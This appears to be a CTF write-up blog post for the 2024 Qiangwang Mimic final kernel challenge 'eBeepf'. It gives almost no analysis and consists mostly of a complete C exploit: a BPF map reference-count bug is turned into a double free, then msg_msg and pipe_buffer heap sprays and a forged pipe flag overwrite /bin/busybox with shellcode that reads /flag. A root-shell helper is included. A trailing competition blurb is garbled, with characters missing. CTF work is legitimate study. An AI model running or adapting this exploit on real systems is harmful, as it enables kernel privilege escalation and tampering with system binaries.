2024强网拟态决赛-eBeepf

漏洞分析与利用

分析后面看情况吧,有时间再写吧,先贴个利用脚本:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
 
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/bpf.h>
#include <sys/prctl.h>
//#include <linux/if_packet.h>
//#include "./bpf_insn.h"

void err_exit(char *msg)
{
    perror(msg);
    sleep(2);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[35m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(2);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

static inline int bpf(int cmd, union bpf_attr *attr)
{
    return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
               unsigned int value_size, unsigned int max_entries)
{
        union bpf_attr attr = {
                .map_type = map_type,
                .key_size = key_size,
                .value_size = value_size,
                .max_entries = max_entries,
        };
        return bpf(BPF_MAP_CREATE, &attr);
}

int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) {
    union bpf_attr attr = {
        .map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS,
        .key_size = key_size,
        .value_size = value_size,
        .max_entries = max_entries,
//        .map_flags = BPF_F_MMAPABLE,
        .inner_map_fd = fd,
    };

    int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
    if (map_fd < 0) {
        return -1;
    }
    return map_fd;
}

static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .value = (uint64_t)value,
        };
        return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value, uint64_t flags)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .value = (uint64_t)value,
                .flags = flags,
        };
        return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
        };
        return bpf(BPF_MAP_DELETE_ELEM, &attr);
}

static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .next_key = (uint64_t)next_key,
        };
        return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}

static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
        struct bpf_map_info info;
        union bpf_attr attr = {
                .info.bpf_fd = map_fd,
                .info.info_len = sizeof(info),
                .info.info = (uint64_t)&info,

        };
        bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
        return info.btf_id;
}

void init() {
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        setbuf(stderr, NULL);
}

int trigger(int map_fd) {
        union bpf_attr attr = {
                .map_fd = map_fd,
        };
        return bpf(37, &attr);
}


int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen, 
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, char *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}


struct msg_buf {
        long mtype;
        char mtext[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

struct pipe_buffer {
    uint64_t page; // 存放数据的页框
    unsigned int offset, len; // 数据的偏移和大小
    uint64_t ops; // 操作该 buffer 的函数表
    unsigned int flags; // 标志
    unsigned long private; // 私有数据
};

#define ATTACK_FILE "/bin/busybox"
int main(int argc, char** argv, char** envp)
{

	init();
	bind_core(0);
	int res = 0;
	char desc[0x10] = { 0 };
	char buffer[0x1000] = { 0 };
	char msg_buffer[0x2000] = { 0 };
	struct msg_buf* msg_buf = (struct msg_buf*)msg_buffer;
	struct pipe_buffer pipe_buffer_data;

	#define SPRAY_PIPE_NUMS 0x10
	int file_fd[SPRAY_PIPE_NUMS];
	for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
		file_fd[i] = open(ATTACK_FILE, O_RDONLY);
		if (file_fd[i] < 0) err_exit("Failed to open" ATTACK_FILE);
	}

	int pipe_fd[SPRAY_PIPE_NUMS][2];
	for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
		pipe(pipe_fd[i]);
	//	write(pipe_fd[i][1], "XiaozaYa", 8);
	//	write(pipe_fd[i][1], "BBBBBBBB", 8);
		loff_t offset = i;
		if (splice(file_fd[i], &offset, pipe_fd[i][1], NULL, 1, 0) <= 0)
			err_exit("Failed to exec splice system call");
	}


	int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
	if (qid < 0) err_exit("Failed to exec msgget");

	int key = 0;
        prctl(PR_SET_NAME, "XiaozaYa");
	int inner_map = bpf_map_create(BPF_MAP_TYPE_ARRAY, 4, 4, 10);
	if (inner_map < 0) err_exit("Failed to bpf_map_create for inner_map");
	printf("[+] inner_map: %d\n", inner_map);

	int outer_map = create_bpf_array_of_map(inner_map, 4, 4, 10);
	if (outer_map < 0) err_exit("Failed to bpf_map_create for outer_map");
	printf("[+] outer_map: %d\n", outer_map);

	puts("[+] set inner_map.ref = 2");
	if (bpf_map_update_elem(outer_map, &key, &inner_map, BPF_ANY) < 0)
		err_exit("Failed to bpf_map_update_elem");
//	puts("[+] bpf_map_update_elem successfully");

	puts("[+] BUG set inner_map.ref = 1");
	trigger(inner_map);
	
	puts("[+] close outer_map to free inner_mmap's bpf_map object");
	// frist free bpf_map
	close(outer_map);
	
	puts("[+] try to close inner_map");
	// double free bpf_map	
	trigger(inner_map);
	close(inner_map);
	
	puts("[+] spray msg_msg to occupy bpf_map chunk");
	msg_buf->mtype = 1;
	memset(msg_buf->mtext, 'A', 512);
	*(char*)(((char*)msg_buf->mtext) +0xc8+8) = 0x30;
	if (msgsnd(qid, msg_buf, 0x100-0x30+1, 0) < 0)
		err_exit("Failed to exec msgsnd");
	
	msg_buf->mtype = 2;
	if (msgsnd(qid, msg_buf, 0x100-0x30+1, 0) < 0)
		err_exit("Failed to exec msgsnd");
	
//	getchar();

	puts("[+] spray pipe_buffer to occupy bpf_map chunk again");
	for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
		if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 *8) < 0)
			err_exit("Failed to exec fcntl");
	}
//	getchar();

	memset(buffer, '\x00', sizeof(buffer));
	if(msgrcv(qid, buffer, 0x100, 2, 0) < 0)
		err_exit("msgrcv");
	
	{
		uint64_t* addr = buffer +8;
		if (addr[0] == 0x4141414141414141) {	
			puts("[x] Failed to leak pipe_buffer");
			exit(-1);
		}
		else
			memcpy(&pipe_buffer_data, addr, sizeof(pipe_buffer_data));
	}
	binary_dump("pipe_buffer data", &pipe_buffer_data, sizeof(pipe_buffer_data));
	pipe_buffer_data.flags = 0x10;
	pipe_buffer_data.offset = 0;
	
	memset(msg_buf->mtext, '\x00', 512);
	memcpy(msg_buf->mtext, &pipe_buffer_data, sizeof(pipe_buffer_data));
	for (int i = 0; i < 0x10; i++) {
		msg_buf->mtype = 3+i;
		if (msgsnd(qid, msg_buf, 512-0x30, 0) < 0)
			err_exit("Failed to exec msgsnd");
		
	}

	unsigned char elfcode[] = {
    /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8,
    0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x50, 0x6a, 0x02, 0x58,
    0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff, 0xff, 0xff,
    0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f, 0x99, 0x0f,
    0x05, 0xeb
	};
	sleep(1);
	for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {
		write(pipe_fd[i][1], elfcode, sizeof(elfcode));
	}

	return 0;
}

远程效果如下:
在这里插入图片描述

关于2024杯的信息如下: ### 比赛介绍 杯是一项面向全国高校学生及社会人士开放的络安全竞赛活动,旨在提升参与者的络安全意识和技术水平。该赛事通常包括但不限于Web安全、逆向工程、密码学、二进制漏洞挖掘与利用等多个方面。 ### 参赛指南 对于想要参加2024杯的人来说,建议关注官方渠道发布的最新消息以获取最准确的比赛规则和报名详情。一般情况下,参与者需要组成团队,在规定的时间内完成一系列在线挑战或者现场解答实际案例中的信息安全问题来获得分数。比赛可能设有不同的组别,比如大学生组和社会人士组等。 ### 历届回顾 从过往的情况来看,杯每年都会吸引大量来自全国各地的安全爱好者以及专业人士参赛。例如,在最近的一次比赛中,即第八届杯全国络安全挑战赛中,选手们面对了诸如`Master of OSINT`, `Misc`, 和其他类型的复杂题目。这些题目不仅考验着队伍的技术实力也测试其解决问题的能力。 为了准备即将到来的比赛,可以参考往年的题解和经验分享文档来进行学习。例如,“2024-Master of OSINT部分wp”,“2024杯web题解”以及其他相关的技术文章都提供了宝贵的见解和技巧指导。 请注意以上信息可能会随着主办方的具体安排有所变动,因此烈推荐直接访问官方站或联系组织方确认最新的细节。
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值